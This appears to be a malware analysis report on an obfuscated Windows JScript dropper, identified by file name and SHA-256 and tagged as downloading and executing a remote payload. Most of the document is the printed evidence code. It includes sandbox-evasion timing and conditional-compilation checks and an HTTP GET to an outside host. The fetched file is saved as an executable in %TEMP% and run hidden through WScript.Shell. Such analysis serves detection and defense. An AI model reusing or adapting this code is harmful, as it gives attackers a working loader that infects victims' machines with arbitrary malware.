20160328_2d29615220891ed018610f2dffd3551c.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-25670ec8f144cdc181f173e3565dadd34321ccc97c76c14a9745b8fcf752bbf8b5f
Evidence
1var Gibpoktid = false;
2var Gtqswxik = "CreateObject";
3var Eeyywqxa = function Vetvjast() {return WScript[Gtqswxik]("WScript.Shell");}();
4var Vzyjjruo = 123213;
5var Onicfadod = "MSXML2.XMLHTTP";
6var Xyxec = 2123213;
7var Dyujifws = 0;
8function Shzvrcpi(Uwvgzfpfy){Eeyywqxa["Run"](Uwvgzfpfy, Dyujifws, Dyujifws);};
9function Ocgsoktotf(){return Onicfadod;};
10function Szwaxjh(Knjeyc, Gyyfyk){return Knjeyc - Gyyfyk;};
11function Owndgtca(){return Gtqswxik;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Gibpoktid = true;
15 @end
⋯6 lines
22function Mdpxgmxl()
23{
24var Whoop = new this["Date"]();
25var Plgwbbkn = Whoop["getUTCMilliseconds"]();
26WScript["Sleep"](Bkmpz());
27var Whoop = new this["Date"]();
28var Lzikxzg = Whoop["getUTCMilliseconds"]();
⋯8 lines
37:34…
38}
39var Jrxhecnk = false;
40var Vynecc = false;
41for (var Ezbwilq = Dyujifws; Ezbwilq < Bkmpz() * 1; Ezbwilq++){if (Mdpxgmxl() != Dyujifws){
42Jrxhecnk …
48:89…
49if (Jrxhecnk && Arair() && Vynecc){
50function Azecpy() {return Eeyywqxa["ExpandEnvironmentStrings"]("%TEMP%/") + "RynAajr6xxIK.exe";};
51 Kpsagzprjg = Ocgsoktotf();
52 Qykjyz = WScript[Gtqswxik](Kpsagzprjg);
53 var Ntmhsk = 1;
54 while (Ntmhsk){
55try {
56Qykjyz[Jhlfbxmk]("GET", "http://chibitesafaris.co.tz/ke7sif", false);
57Qykjyz["send"]();
58Rtepkt = "Sleep";
59do {WScript[Rtepkt](Bkmpz() * 11)} while (Qykjyz["readystate"] < 4 );
60Ntmhsk = Dyujifws;
61} catch(Ctbrrhkxzo){Ntmhsk = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Hzatqoijpo(Ogniag) {var Rkzloyhqa = (1, 2, 3, 4, 5, Ogniag); return Rkzloyhqa;};
64Iveblubc = WScript[Owndgtca()]("ADODB.Stream");
65Kpsagzprjg = Iveblubc;
66Kpsagzprjg[Jhlfbxmk]();
67Kpsagzprjg["type"] = Hzatqoijpo(1);
68Kpsagzprjg["write"](Qykjyz["ResponseBody"]);
69Iveblubc["position"] = Hzatqoijpo(Dyujifws);
70Kpsagzprjg["SaveToFile"](Azecpy(), Hzatqoijpo(2) );
71Iveblubc["close"]();
72Shzvrcpi(Azecpy());
73}
74}
75